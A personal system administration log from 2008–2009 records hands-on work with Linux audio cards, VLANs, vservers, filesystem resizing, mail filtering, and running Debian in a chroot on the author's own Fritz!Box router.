~/.procmailrc : :0fw: spamassassin.lock | /usr/bin/spamassassin :0: * ^X-Spam-Status: Yes SPAM.mdir/ For clamav, to deny all messages containing malware. # Add this to the global configuration options: # the socket can be found in /etc/clam av_scanner = clamd:/var/run/clamav/clamd.ctl # Add this to the data ACL (acl_check_data:) deny message = This message contains malware ($malware_name) demime = * malware = */defer_ok Entry: freggle Date: Thu Dec 25 21:43:54 CET 2008 instead of running dhclient on the network, it's probably better to bridge the wifi to a vlan, an run dhclient on that, keeping the switch ports on the local lan. vlans are actually quite nice to solve the client/server problem for ip assignment. it's effectively an extra namespace that doesn't get in the way of standard dhcp. Entry: the digi cards Date: Fri Dec 26 15:38:36 CET 2008 02:04.0 Multimedia audio controller: VIA Technologies Inc. ICE1712 [Envy24] PCI Multi-Channel I/O Controller (rev 02) 02:09.0 Multimedia audio controller: Xilinx Corporation RME Digi96/8 Pad (rev 05) 02:0a.0 Multimedia audio controller: Xilinx Corporation RME Digi9652 (Hammerfall) (rev 08) 02:04.0 0401: 1412:1712 (rev 02) 02:09.0 0401: 10ee:3fc3 (rev 05) 02:0a.0 0401: 10ee:3fc4 (rev 08) Problems: - drivers - sync root@ed:~# cat /proc/asound/cards 0 [PST ]: Digi96 - RME Digi96/8 PST RME Digi96/8 PST at 0x40000000, irq 17 1 [R15 ]: RME9636 - RME Digi9636 (Rev 1.5) RME Digi9636 (Rev 1.5) at 0x41000000, irq 18 2 [M1010 ]: ICE1712 - M Audio Delta 1010 M Audio Delta 1010 at 0x1080, irq 20 That seems to be fine. Next: interrupt priorities. I put the cards on 10+11 root@ed:~# cat /proc/interrupts CPU0 0: 201350 XT-PIC-XT timer 1: 608 XT-PIC-XT i8042 2: 0 XT-PIC-XT cascade 3: 9 XT-PIC-XT serial 4: 9 XT-PIC-XT serial 5: 544 XT-PIC-XT uhci_hcd:usb1, eth0 6: 3 XT-PIC-XT floppy 7: 1 XT-PIC-XT parport0 8: 2 XT-PIC-XT rtc0 9: 0 XT-PIC-XT acpi 10: 2230 XT-PIC-XT RME96, rme9652 11: 0 XT-PIC-XT ICE1712 12: 4 XT-PIC-XT i8042 14: 6064 XT-PIC-XT ata_piix 15: 93 XT-PIC-XT ata_piix NMI: 0 Non-maskable interrupts ERR: 0 # for apt-get install linux-image-rt # deb http://nl.archive.ubuntu.com/ubuntu intrepid universe now, configuring the cards Apparently it's not recommended to use multiple cards with JACK. Since it's already tricky to get one card working, I'm not going to argue this time.. http://www.sound-man.co.uk/linuxaudio/ice1712multi.html So what am I going to do with them? Use the biggest card with Jack, then use the two others in separate processes with some alsa access. Ok.. So first, alsa configuration. root@ed:~# cat /proc/asound/cards 0 [PST ]: Digi96 - RME Digi96/8 PST RME Digi96/8 PST at 0x40000000, irq 10 1 [M1010 ]: ICE1712 - M Audio Delta 1010 M Audio Delta 1010 at 0x1080, irq 11 2 [R15 ]: RME9636 - RME Digi9636 (Rev 1.5) RME Digi9636 (Rev 1.5) at 0x41000000, irq 10 First, the connectors: M1010: 1 x breakout + RCA DIGI IN/OUT Digi9636: 2 x Optical I/O + D-sub ADAT sync-in with coaxal I/O Digi96/8: 1 x Optical I/O + ??? ADAD SYNC: http://pinouts.ru/DevicesCables/adat_sync_pinout.shtml Funny.. I don't know what to do with them.. Let's make the setup variable: start daemon with one of the cards, use the other ones for special purposes. Apparently, ~/.asoundrc is no longer required: http://alsa.opensrc.org/index.php/.asoundrc So, the M1010 and 9636 work properly. The 96/8 gives only 2 channels. Let's put the default to m1010. Ok. PD works with 64/2 bufsize, pretty neat. Entry: freggle Date: Fri Dec 26 21:22:58 CET 2008 The WRT54Gv2 apparently doesn't want to boot any more.. Sometimes boot light flashes very fast, other times it flashes normally but never stops.. No traffic on ethernet either. NEXT: Let's try the serial port. Entry: zzz site Date: Sat Dec 27 12:41:37 CET 2008 got 2 computers now, one old, reliable and slow, and one unreliable junk but fast. would like to merge them into one package. can be barebones, since old devices can be exported over gigalan, by turning old computers into hubs. this would reduce the number of computers to 2: one for the pro audio cards, and one for general network management and running apps. maybe i get something with two network cards: one for dedicated network links (i.e. RT audio/video data streaming), and one for normal data transfer. maybe jack.udp ? Entry: single server image Date: Sat Dec 27 14:56:01 CET 2008 At least for the x86 hosts: zwizwa, zzz and giebrok, i'd like to run them from the same (bit-for-bit) code and data image, to get rid of backup issues. The easiest way to do this is to use vserver. This does require a clear separation of services and network management (routing, firewall). The easiest way to get to this point is to start from giebrok + kurk + klimop vserver trees, and try to run them on zzz/zwizwa hosts. Entry: qemu on lex Date: Sat Dec 27 17:06:25 CET 2008 Running the xp.img (zzz site's windows computer) on lex. It's connected on lex's br0, together with vlan2, the local insecure network. Works well. Now, vnc on unix sockets. Maybe using socat and bridging it to TCP is the easiest solution. Entry: bootable usb stick Date: Tue Dec 30 21:04:55 CET 2008 following this with vfat works fine: http://www.mayrhofer.eu.org/Default.aspx?pageindex=6&pageid=45 However, with ext3 it doesn't work. Entry: vlan + vserver Date: Wed Dec 31 15:02:19 CET 2008 Hmm... Maybe I should keep zzz/zwizwa as real hosts, instead of running on a vserver. I would like to move zzz to the lex box: it's already configured for a single network interface. Do I move the whole disk, or just the image? I'm probably better off using an external disk for storage, which keeps things more modular. Let's resize some partitions. Wait.. It's probably easier to make the flash bootable, then move the directories around. Let's change disks. Entry: aspire one Date: Thu Jan 1 10:03:27 CET 2009 works nice except card driver and a minor problem with the wireless, probably after running a program that sets the fan: http://wiki.debian.org/DebianAcerOne#head-da0c224ec9760981f602f11c89f17c17cee4797c rebooting didn't fix this. popping out the batteries did. Entry: resizing ext3 on external hd Date: Thu Jan 1 17:39:04 CET 2009 got both a fat32 and ext3 partition on there, but i'd like to move the barrier around. should be no problem with parted, but apparently there are some incomatible features activated: zzz:/# parted /dev/sda check 2 Error: File system has an incompatible feature enabled. Compatible features are has_journal, dir_index, filetype, sparse_super and large_file. Use tune2fs or debugfs to remove features. zzz:/# parted /dev/sda check 1 zzz:/# debugfs /dev/sda2 -R "feature" debugfs 1.41.0 (10-Jul-2008) Filesystem features: has_journal ext_attr resize_inode dir_index filetype sparse_super large_file zzz:/data/home/tom# debugfs -w /dev/sda2 debugfs 1.41.0 (10-Jul-2008) debugfs: feature -ext_attr -resize_inode fsck.ext3 -f /dev/sda2 -y # this turned up some errors.. # still: zzz:~# parted /dev/sda GNU Parted 1.8.8 Using /dev/sda Welcome to GNU Parted! Type 'help' to view a list of commands. (parted) resize 2 Start? [30.0GB]? End? [320GB]? 220GB Warning: A resize operation on this file system will use EXPERIMENTAL code that MAY CORRUPT it (although no one has reported any such damage yet). You should at least backup your data first, and run 'e2fsck -f' afterwards. OK/Cancel? OK Error: Found an inode with a incorrect link count. Better go run e2fsck first! (parted) # I'm trying without journal now zzz:~# tune2fs -O^has_journal /dev/sda2 # nope.. still the same.. # Now trying with resize2fs: zzz:/data/home/tom# resize2fs /dev/sda2 40000000 resize2fs 1.41.0 (10-Jul-2008) Resizing the filesystem on /dev/sda2 to 40000000 (4k) blocks. The filesystem on /dev/sda2 is now 40000000 blocks long. # ok, the manual says ext3 resizing doesn't work yet.. # switching to fdisk Disk /dev/sda: 320.0 GB, 320072933376 bytes 255 heads, 63 sectors/track, 38913 cylinders, total 625142448 sectors Units = sectors of 1 * 512 = 512 bytes Disk identifier: 0x5b6ac646 Device Boot Start End Blocks Id System /dev/sda1 63 58589054 29294496 c W95 FAT32 (LBA) /dev/sda2 58589055 625137344 283274145 83 Linux # The partition size in sectors: > (* 8 40000000) 320000000 # this worked fine, but parted didn't want to move it to the end of # the disk, so i gave up.. in the meanwhile i did something wrong and # lost the linux partition. (luckily, there are backups, except for # the xp+debian image) Entry: dvd images on the zoran player Date: Fri Jan 2 09:25:59 CET 2009 That doesn't work.. So how to easily burn a dvd from a disk image? Using just "bin/burn.image init" works fine on the Zoran player, but it's probably not standard. From what I gather this worked: (bin/vobs2iso) #!/bin/bash TMP=.dvd [ -z "$2" ] && "usage: $0 <iso> <vob> [<vob> ...]" [ -e $TMP ] && echo "$TMP already exists!" && exit 1 ISO=$1 shift [ -e $ISO ] && echo "$ISO already exists!" && exit 1 mkdir $TMP dvdauthor -o $TMP -t "$@" dvdauthor -o $TMP -T mkisofs -dvd-video -udf -o $ISO $TMP rm -rf $TMP Maybe passing "-dvd-video -udf" to growisofs would work? Apparently, growisofs has a -dvd-compat option. Entry: throttle Date: Sat Jan 3 09:42:14 CET 2009 With unlimited volume, i'd like to setup a proper low-priority bulk pipe to degamma. The easiest way to achieve this is to use ssh + tcp tunnels, and limit the ssh connection. Entry: fritz Date: Sat Jan 3 11:38:24 CET 2009 Integrating fritz better into the network. It's probably easiest to disable its dhcp, give it a static address, and plug some ports to zzz. What I want is the 4 lan ports to be on 192.168.16.0 1. Make sure ZZZ doesn't use dhcp to connect to fritz. 2. Try to bridge vlan11 and the trusted net, to see if the switch ports on the fritzbox give local net IPs. I tried this on zzz, but couldn't get it to work properly (interaction of of bridges, vlans and ip-aliases i don't inderstand..) Trying on smurf now. OK. got confused again.. Maybe it's easiest to just use a second trusted IP space and use routing instead of bridging. 192.168.17.0 is still available. Ok.. re-enabling fritzbox dhcp, but running an extra IP net over the same wire. Is this possible? I'm getting more confused now.. IP aliasing works fine, but I have masquerading defined per interface, so it wont work in current setup with 2 ip nets over the same wire. Let's make things static: change IP of fritz and turn 17 into a separate "DMZ" style topology. Ok, this works fine: fritz is again dhcp master of 17 + zorro connects to private net through vpn. However, I'm going to get rid of zorro there and replace it with the printer connected to the fritzbox. Entry: backup to basics Date: Sat Jan 3 17:27:10 CET 2009 http://www.gnu.org/software/tar/manual/html_node/Incremental-Dumps.html Entry: fritz print server Date: Sat Jan 3 17:36:54 CET 2009 socket://<ip> That was simple.. Well, I guess a printer port really is just a bidir pipe. Apparently there are 2 sockets: control + data at 9100 and 9101. Entry: backups Date: Sun Jan 4 09:08:02 CET 2009 I'd like to start automating this. Already have non-automated mirror backups that protect against complete loss of functionality, but i'd like to add snapshotting to protect against individual file deletions. Also, readonly mountable snapshots would be nice. NILFS? http://www.nilfs.org/en/pkg_debian.html Entry: aspireone r8101 Date: Sun Jan 4 13:05:44 CET 2009 There was a problem with the card not being properly reset after resume from hibernation. Fixed with bringing down the interface. Entry: netboot xenomai Date: Sat Jan 10 16:20:08 CET 2009 For more convenient dev, let's make a Xenomai+RTnet box that boots off the network. I forgot how most of this works, so let's document. 1. Use a boot disk with GRUB + netboot images. 2. Server side: setup DHCP. For my config this is dnsmasq with fixed address associated to the rtl card 00:20:18:8e:37:0b and an image name equal to the hostname served from /tftpboot [1] entry://20081028-101340 [2] entry://20090508-175739 Entry: lftp download manager Date: Thu Jan 15 13:11:03 CET 2009 socat EXEC:lftp - This takes commands from stdin, so it's possible to connect anything. It should be not so difficult to isolate or tag all traffic coming from this process, to make it lowest priority. http://en.wikipedia.org/wiki/IEEE_802.1Q apparently, these can be tagged with priorities: Priority Code Point (PCP): a 3-bit field which refers to the IEEE 802.1p priority. It indicates the frame priority level from 0 (lowest) to 7 (highest), which can be used to prioritize different classes of traffic (voice, video, data, etc). Entry: darcs SVN micromanagement Date: Wed Jan 21 10:12:54 CET 2009 The idea is this: master repo = SVN, but i'd like to use darcs for micro-managing my own changes. How to merge? First, make sure there's a directory managed both by SVN and darcs: - "darcs get" into empty dir - remove the tree that's also in SVN - checkout that tree - perform merge bye reverting darcs patches -> Concentrate on first taking in changes from SVN. Given the way I use emacs, it's probably best to take the "current" branch: that one with files loaded in emacs buffers as the merging branch. Note however: this requires the SVN to be checked out in the current branch! Entry: set-frame-font Date: Thu Jan 29 09:19:30 CET 2009 Of course it's possible to change this at run-time.. Just have to figure out how! Entry: .tar to .deb Date: Thu Jan 29 14:09:26 CET 2009 How to convert slackware .tgz style files to .deb? Suppose: I know what I'm doing, I just want to use the package management properties to provide "install" and "uninstall". The answer is to use alien. 1. Prepare a root fs tree (as normal user) with correct permissions. I.e. under "dist", create "dist/lib/modules/2.6.25.17/..." 2. cd $(TOPDIR) && fakeroot tar cf ../package.tgz * 3. fakeroot alien package.tgz This generates a .deb file that can be used to install/uninstall the files. The drawback is that there are no pre/post scripts and there is no dependency management. Entry: hda -> sda Date: Wed Feb 4 12:39:14 CET 2009 Somewhere in 2.6 some IDE disks are now called 'sd' instead of 'hd'. Not all IDE disks. I didn't find a real pattern yet. What is this all about? libata http://bbs.archlinux.org/viewtopic.php?pid=286979 "... some kernel releases ago IDE drives moved to a new "architecture" called libata, common with SATA ..." http://wiki.archlinux.org/index.php/Persistent_block_device_naming http://linux-ata.org/faq.html Entry: dsl + fritz Date: Mon Feb 2 19:48:25 CET 2009 2 things: - I saw the phoneline is terminated with a capacitor and some resistors.. Is this the reason for 3Mbit instead of 4Mbit? The DSL spectrum shown by the fritzbox is completely 1st order lowpass. Is this normal? Doesn't look like it is: http://commons.wikimedia.org/wiki/File:ADSL_spectrum_Fritz_Box_Fon_WLAN.png - With FRITZ!Box Fon 5124 Annex A, Firmware version 57.04.47 telnet can be enabled by dialing #96*7* http://wehavemorefun.de/fritzbox/index.php/Starten_von_telnetd So with shell access, I was wondering, what toolchain is necessary to build programs, and can the switch be made to support VLAN? Now, have a look at this one. It mentions debootstrap. http://www.heimpold.de/dsmod debootstrap --arch mipsel etch fritz http://debian.i/debian actually, this needs --foreign and even then doesn't work well.. i copied some the old zorro initial mipsel-lenny install on a usb stick, but now i'm having trouble chrooting into the tree.. it supports netcat+tar to transfer files netcat -l -p 12345 | tar xf it does look like the firmware is completely read-only.. only /var is writable (ramfs) i tried statically linked mipsel binary for busybox but failed "illegal instruction".. ok. this one works: busybox-static_1.1.3-4_mipsel.deb now i can chroot using: modprobe ext2 mkdir /var/tmp/disk mount /dev/sda1/ /var/tmp/disk ./busybox chroot /var/tmp/disk bash trying dist-upgrade to lenny (btw, the acer one works nice in keyboard-only operation, with a large terminus font) ok.. fritz.. maybe it's best to copy zorro install instead of trying to get it to work from scratch again.. otoh, it might be nice to see how exactly it worked. * chrooted sshd ok.. it's not lenny that's running on zorro, but etch. upgrade to lenny failed. some script caused illegal instruction, probably out of memory.. maybe enable swap? ok.. etch seems to work. for ssh, the trick is to mount /dev/pts. mount /proc # maybe not necessary /usr/sbin/sshd hmm.. looks like that image was already configured.. good the box has about 15 MB of free RAM, which is nice.. so.. how to boot it properly? maybe it's easiest to boot it externally using telnet, Entry: cstream Date: Thu Feb 5 11:29:28 CET 2009 http://www.cons.org/cracauer/cstream.html The stream limiter.. This might be the easier way to set up limited data rate pipes between programs. Easiest is probably to use it in conjunction with ssh and socat. Entry: running from one root image Date: Sat Feb 7 11:30:45 CET 2009 I was wondering if my current "farm" could be made to run off of the same debian image. This includes 3 hosts: - zwizwa - zzz - giebrok It would be nice if services and data could be duplicated too, but that's probably not so easy. The idea I had before is to run it as a vserver. To do this practically, an incremental path needs to be devised. The server will run off a read-only partition, and services will be moved into this one by one. Current services of interest are: - local net dns - vpn Let's try to get giebrok instance running on vserver in zzz and zwizwa. OK. This works after changing some config variables in /etc/vservers/ziebrok (copied from degamma:/etc/vservers/giebrok) Next: boot it with a different init script. I'd like to just boot ssh and nothing else. However, this does need a separate ssh config. It's probably best to not bind ssh on zzz to 0.0.0.0 to allow vshosts to work. Remember that vserver uses interfaces setup on the host side. OK.. You need a dummy0 interface: modprobe dummy ifconfig dummy0 up This enables the vhost to bind to 0.0.0.0 Now I can start ssh using the default config: vserver ziebrok start --rescue /usr/sbin/sshd # -D -e However, I needed to add this to make it work: PrivilegeSeparation = no To set dns: #!/bin/bash # Example for starting a vserver with SSHD running. DOMAIN=i NS=192.168.16.254 echo -ne "search $DOMAIN\nnameserver $NS\n" >/etc/resolv.conf /usr/sbin/sshd Entry: Alan Kay's "no reboot" Date: Sat Feb 7 13:58:53 CET 2009 I'd like to change this to "no reinstall". Let's use these analogies: reboot = waking up after a hangover reinstall = instantiating another person in the same hardware Reboot flushes your scratchpad. like Kay's idea, but it's not practical because evolution is messy, and most systems are evolved. Conceptually reboot and reinstall are really the same, but they act on different time scales. There is a whole bunch of analogies between operating system _instances_ and Smalltalk's image based programming. Entry: fritzbox internals Date: Sat Feb 7 17:39:59 CET 2009 This I find rather odd: # ls -al /var/flash drwxr-xr-x 2 root root 0 Feb 7 17:38 . drwxrwxr-x 9 root root 0 Feb 7 00:59 .. crw-r--r-- 1 root root 240, 113 Feb 7 17:38 ar7.cfg crw-r--r-- 1 root root 240, 160 Jan 1 2000 aura-usb crw-r--r-- 1 root root 240, 168 Jan 1 2000 browser-data crw-r--r-- 1 root root 240, 141 Jan 1 2000 calllog crw-r--r-- 1 root root 240, 98 Jan 1 2000 debug.cfg crw-r--r-- 1 root root 240, 132 Jan 1 2000 fx_cg crw-r--r-- 1 root root 240, 129 Jan 1 2000 fx_conf crw-r--r-- 1 root root 240, 130 Jan 1 2000 fx_lcr crw-r--r-- 1 root root 240, 131 Jan 1 2000 fx_moh crw-r--r-- 1 root root 240, 112 Jan 1 2000 multid.leases crw-r--r-- 1 root root 240, 117 Jan 1 2000 net.update crw-r--r-- 1 root root 240, 116 Feb 7 16:59 stat.cfg crw-r--r-- 1 root root 240, 133 Jan 1 2000 telefon_misc crw-r--r-- 1 root root 240, 119 Jan 1 2000 tr069.cfg crw-r--r-- 1 root root 240, 120 Jan 1 2000 user.cfg crw-r--r-- 1 root root 240, 121 Feb 7 15:44 userstat.cfg crw-r--r-- 1 root root 240, 114 Jan 1 2000 voip.cfg crw-r--r-- 1 root root 240, 122 Jan 1 2000 voipd_call_stat crw-r--r-- 1 root root 240, 118 Jan 1 2000 vpn.cfg They are character devices.. # cat /proc/devices Character devices: ... 240 tffs ... Here's some information about this filesystem: http://www.freetz.org/wiki/help/faq Note that to edit these files you need to use 'nvi' instead of 'vi', which will copy the file to ram for editing and copy it back to flash after. Entry: fritz nfs Date: Sun Feb 8 10:28:41 CET 2009 What I really want is to add nfs or any other remote filesystem support, so I can get rid of the flash drive. The USB is v1.1 so quite slow. Entry: Boot script Date: Sun Feb 8 11:04:54 CET 2009 Dirname and chroot are not available, so i had deviced a little trick to boot it by adding a directory with a ".d" suffix. It might be possible to use basename from the boot/busybox but this seems simpler. # Trampoline to boot the debian system in a chrooted environment. # This can be run with Fritz' busybox that doesn't have chroot nor dirname. # cd to root directory cd $0.d/../.. echo Starting debian in `pwd` # use a different busybox to execute the chroot command. exec `pwd`/boot/busybox chroot `pwd` /boot/rc.d/rcS Now what's needed is a plug into the flash filesystem. The complete sequence of commands is: modprobe ext2 mkdir /var/debian mount /dev/sda1 /var/debian /var/debian/boot/init To unload: /var/debian/boot/chroot /var/debian /boot/shutdown umount /var/debian So, let's add this to /var/flash/debug.cfg modprobe ext2 mkdir /var/debian mount /dev/sda1 /var/debian /var/debian/boot/init echo '/var/debian/boot/chroot /var/debian /boot/shutdown ; umount /var/debian' >>/var/post_install This doesn't seem to work on boot. My guess is that usb isn't active yet, and the drive is not recognized. There's no way to sync on this, so we need to wait a bit. In /etc/rc.S it can be seen the debug.cfg is the last script to run (/usr/bin/ethnator doesn't exist). modprobe ext2 mkdir /var/debian if ! mount /dev/sda1 /var/debian; then sleep 10; mount /dev/sda1 /var/debian; fi /var/debian/boot/init && \ echo '/var/debian/boot/chroot /var/debian /boot/shutdown ; umount /var/debian' >>/var/post_install Hm... Doesn't work either.. Maybe we should just spawn a daemon that waits modprobe ext2 sd_mod usb-storage mkdir /var/debian cat <<EOF >>/var/post_install /var/debian/boot/chroot /var/debian /boot/shutdown umount /var/debian EOF cat <<EOF >/var/mount-debian while ! mount /dev/sda1 /var/debian; do sleep 3; done exec /var/debian/boot/init EOF chmod +x /var/mount-debian /var/mount-debian & Hmmm.. Device is not recognized if it's left in the box. # lsmod Module Size Used by Tainted: P ext2 59392 0 mbcache 8080 1 ext2 usblp 11936 1 kdsldmod 630416 2 usbahcicore 26064 0 usbcore 113328 4 usblp,usbahcicore isdn_fbox_fon4 933840 0 ubik2 78608 1 isdn_fbox_fon4 tiatm 109008 1 ubik2 Piglet 10560 0 After plugging in these modules are loaded extra: vfat 11392 0 fat 49072 1 vfat nls_cp437 5248 0 nls_iso8859_1 3584 0 sd_mod 14864 0 usb_storage 33296 0 scsi_mod 92560 2 sd_mod,usb_storage modprobe usb-storage sd_mod I've added these to the startup script.. Then I run into more interesting problems: Warning: Reading the random source seems to have blocked. If you experience problems, you probably need to find a better entropy source. Will try with reboot now. I can't get it to work.. Something is not initialized correctly: the partion can be read (cat /dev/sda1) but it doesn't want to mount it: # mount /dev/sda1 /var/debian mount: Mounting /dev/sda1 on /var/debian failed: Invalid argument I'm thinking about giving up: one more try: wait 15 seconds after loading the modules.. Wtf now it mounts.. ext2 wasn't loaded. Maybe it gets unloaded somewhere? No, modprobe takes only one module argument. I don't know what's going wrong.. Will try now with a script that waits for 5 minutes to try to mount the stick. Entering complete dispair mood.. New script: cat <<EOF >>/var/post_install /var/debian/boot/chroot /var/debian /boot/shutdown umount /var/debian EOF cat <<EOF >/var/mount-debian sleep 300 modprobe usb-storage modprobe sd_mod modprobe ext2 mkdir /var/debian while ! mount /dev/sda1 /var/debian; do sleep 10; done exec /var/debian/boot/init EOF chmod +x /var/mount-debian /var/mount-debian & Nope... Doesn't work either. I'm going to give up, this is too much hassle. It works when you replug the device, and I currently don't know how to force that in software.. Anyway.. learned a couple of things though. Feb 8 16:23:29 eventadd[1352]: EVENT(131): USB device 005, class 'storage', plugged in Feb 8 16:23:38 eventadd[1546]: EVENT(142): The file sytem contained on the USB mass storage device 5 is not supported or the device has an invalid partition table. (device type: 0930:6545) So, to get things running on the fritzbox, it might be easiest to just prepare .tar archives and download them from a server. Entry: code generation and higher order functions Date: Sun Feb 8 14:03:55 CET 2009 codegen is hofs without closures. That's the whole idea behind "proper" FP codegen: cross-stage-persistance. Entry: modules for fritz kernel Date: Sun Feb 8 15:28:24 CET 2009 Is it possible to compile modules that will be accepted by the kernel? That way nfs could solve things. Linux version 2.6.13.1-ohio (1284) (gcc version 3.4.6) #4 Thu Nov 22 21:18:33 CET 2007 If I get this kernel + gcc, it really should work.. Look at this here: http://www.spblinux.de/fbox/26-ar7/ Modules don't load. This might be it: ftp://ftp.avm.de/develper/opensrc/fritzbox-source-files.04.67.tar.gz Upgraded too (was 04.47) and now I got 4Mbit instead of 3! Entry: youtube-dl Date: Mon Feb 9 10:35:04 CET 2009 This translates a youtube page url to a download link. Apparently this link can be used without cookies, but does expire. This means it can be used with lftp. Entry: degamma routing Date: Tue Feb 10 08:16:23 CET 2009 tired of nat.. route add -net 192.168.16.0/22 gateway 10.17.17.4 # zzz.g route add -net 192.168.12.0/22 gateway 10.17.17.8 # zwizwa.g Entry: colinux Date: Thu Feb 12 09:03:20 CET 2009 I'd like to setup a small as possible program that can run on a windows box to provide routing services and connect to a vpn. Basically, a small buildroot environment would be enough. I.e. colinux + buildroot image and openvpn? Entry: moving a database Date: Sat Feb 14 10:19:05 CET 2009 To backup, save the output of this to a file: mysqldump -u$USER -p$PASS --skip-lock-tables $DB_NAME > $FILE.SQL To restore, send that file to the input of this: mysql --verbose --user=$USER --password=$PASS 4DB_NAME < $FILE.SQL But, make sure the user exists! create database DB_NAME; GRANT ALL PRIVILEGES ON $DB_NAME TO 'my_user'@'localhost' IDENTIFIED BY 'my_password' WITH GRANT OPTION; # The @host is optional. Entry: timeouts with ssh and sudo Date: Sat Feb 14 10:27:26 CET 2009 Probably a dns issue.. It popped up a couple of days ago. Entry: cross gcc & GMP / MPFR Date: Tue Feb 17 12:32:52 CET 2009 Why are GMP and MPFR necessary for a cross-gcc? Anyways: I'm trying to build the cross-gcc 3.4.6 for the fritzbox, but this doesn't build with gcc (Debian 4.3.2-1) 4.3.2 Trying with gcc-3.4 (GCC) 3.4.6 (Debian 3.4.6-9) Ok, it builds but fails because of dejagnu. Let's try to build it in a different way.. But first, what is this gmp and mpfr about? Is it about making target computations? Or floating point emu? ../../$(SOURCE)/binutils-$(BINUTILS_VER)/configure --prefix=$(PREFIX) \ --with-sysroot=$(UCLIBC_INCLUDE) \ --with-gmp-include=$(PREFIX)/include/ \ --with-gmp-lib=$(PREFIX)/lib/ \ --with-gmp=$(PREFIX) \ --with-mpfr-include=$(PREFIX)/include/ \ --with-mpfr-lib=$(PREFIX)/lib/ \ --with-mpfr=$(PREFIX) \ --target=$(TARGET) \ Entry: instant mirroring over network Date: Wed Feb 18 11:09:10 CET 2009 I'd like to solve this problem: Both system A and B want to download a file, but only A has direct access to the outside resource, while B gets the file from A. At this moment, I do things serially and manually. I'd like to do it automatically. Basically, I'd like to keep an entire tree up-to date using A->B notification for fragments. This looks like a raid-array with network block devices, but I'd also like the ability to mount the remote data. Maybe streaming is the better solution: /usr/bin/vlc --rc-fake-tty --sout #transcode{vcodec=DIV3,vb=192,scale=1,acodec=mp3,ab=64,channels=2}:std{access=mmsh,mux=asfh,dst=10.64.4.16:8080} <.avi> vlc sucks ass isn't it possible to stream over a socket? i.e. let the client descide? Entry: xenomai + qemu Date: Tue Feb 24 11:56:16 CET 2009 Create a harddisk image: qemu-img create -f qcow2 xenumu.qcow2 1G Run qemu using this installation image: http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/i386/iso-cd/debian-testing-i386-businesscard.iso qemu xenomu.qcow2 -cdrom <ISO> -boot d Then configure it so it has ssh + access on console. Console access needs to be defined on 4 places: - qemu command line: "-serial stdio" or "-nographic" - /boot/grub/menu.lst the lines "serial" and "console serial" - kernel command line: "console=serial" - /etc/inittab: uncomment the T0 line It's also convenient to add autologin with /sbin/autologin: #!/bin/sh /bin/login -f root And inittab: T0:23:respawn:/sbin/getty -L ttyS0 -n -l /sbin/autologin 9600 vt100 Entry: nested vlans Date: Sun Mar 8 19:16:01 CET 2009 I don't know if this works, but from what I read it doesn't seem to be possible to infinitely embed vlans.. Shame, because i wanted to send a vlan over wifi, wich is in itself embedded as vlan2 on the local ethernet backbone. So.. this need to be solved by locally unpacking and bridging. The easiest is to just add vlan11-vlan14 also on the wireless backbone and bridge the two on the router. Got it to work now: del shared wireless access through its .22. network which is bridged to vlan12. To fix: make dns on zzz use the dns provided by the dhcp.. Had to make $INTERNET in zzz firewall take multiple interfaces, so it's easier to switch between different providers. Entry: rt2500usb Date: Mon Mar 9 11:17:34 CET 2009 It seems dhclient doesn't play nice. Setting up the wifi params with iwconfig and running dhclient kills the settings: need to run iwconfig again when dhclient is doing its thing.. It appears as if it brings down the interface by itself, but not always.. Something fishy going on here.. Could be bug in driver tho. Entry: network address allocation Date: Mon Mar 9 14:40:34 CET 2009 192.168.x.0 all /24 nets: 0- 7 not routable (local private networks) 8-11 fixed semi-trusted friend networks (gargamel = 8, sam = 10, fred = 11) 12-15 fixed zwizwa 16-19 fixed zzz 20-23 dynamic routing nets (del = 22) Entry: ethernet bridges Date: Mon Mar 9 16:00:18 CET 2009 Hmm.. apparently a bridge doesn't copy everything by default: it doesn't behave like a hub but like a switch. Entry: teefs Date: Thu Mar 12 19:32:12 CET 2009 Another stab at remote backup: (modeled after the unix "tee" command). 1. startup: make sure two filesystem trees M, S are mirrored using rsync. 2. every mutating operation on M is recorded in a journal and can be applied to S either live or after a delay. read operations always only access M. What I would like to have is a no-hassle synchronous backup: a program is updating M, but I'm actually interested in accessing files in S as if they were local, without having to "pull" or "poll" them (push only backups). This might be an interesting project to get to know FUSE. So, this is actually RAID1, but on filesystem level + there is never any traffice from S->M (except during initial sync or resync on error). Maybe recording the serialized write actions themselves is enough? Since the real data is there, the effect of all actions can be replayed. Entry: ibook power supply again Date: Sat Mar 28 09:59:10 CET 2009 Why do i keep buying cheap chineese crap? 24.5V 2.65A 65W AC 100-240V http://www.faqintosh.com/risorse/en/guides/hw/ibook/pjack/ Long live the junk box. Entry: slow sudo Date: Tue Mar 31 17:12:50 CEST 2009 got significant delays when running "sudo" on zzz. added this line to /etc/hosts: 192.168.16.254 zzz that fixes it Entry: xenomai PEAK PCI CANbus Date: Thu Apr 2 11:14:28 CEST 2009 After plugging the card in some different slots and setting the bios to allocate specified irq to PCI slots, it still didn't work. Seems this is the problem: https://mail.gna.org/public/xenomai-help/2008-03/msg00028.html There are two CAN controllers on the card, right? Therefore you need support for shared interrupts. Actually, requesting the IRQ 12 for the second CAN controller fails because it's already used by the first one. Entry: wordpress url change Date: Sat Apr 11 10:59:43 CEST 2009 There isn't any simple way to do this, so I will do a rpl on the data base dump and file store. The file store doesn't contain any references to the main page. The simples thing seems to be this: rpl -s 'http://deyofthephoenix.com' 'http://deyofthephoenix.com/blog' melissawp.mysqldump Now, how to restore the dump? mysql --verbose --host=$HOST -u$USER -p$PASS $DBNAME < $SQLFILE Entry: emacs and mutt Date: Mon Apr 27 12:54:55 CEST 2009 I like mutt as an email reader, but I didn't manage yet to make it work well with emacs. Moreover because I use mutt on a remote machine and run emacs locally. The problem with using emacs as a mutt editor is that the RPC mechanism just doesn't work well.. This is not a problem with mutt itself, but with the principle behind RPC.. In fact, mutt doesn't need to wait for a mail message to be done editing to send it: emacs is perfectly able to send off the message by itself. So let's do that: define a macro such that a file can be sent to emacs for handling. It's simplest to just use the pipe command. This then transfers the message as a whole to emacs, where some emacs function collects it and constructs a reply. I've used vm (view mail) before: http://www.wonderworks.com/vm/ Entry: mdadm Date: Wed May 6 12:28:04 CEST 2009 Setting up mdadm (2.6.7.2-1) ... Installing new version of config file /etc/logcheck/ignore.d.server/mdadm ... Installing new version of config file /etc/init.d/mdadm-raid ... Installing new version of config file /etc/init.d/mdadm ... Installing new version of config file /etc/cron.d/mdadm ... Generating array device nodes... done. update-initramfs: Generating /boot/initrd.img-2.6.18-6-vserver-686 W: mdadm: /etc/mdadm/mdadm.conf defines no arrays. Added Linux Added LinuxVserver * Starting MD monitoring service: mdadm --monitor. 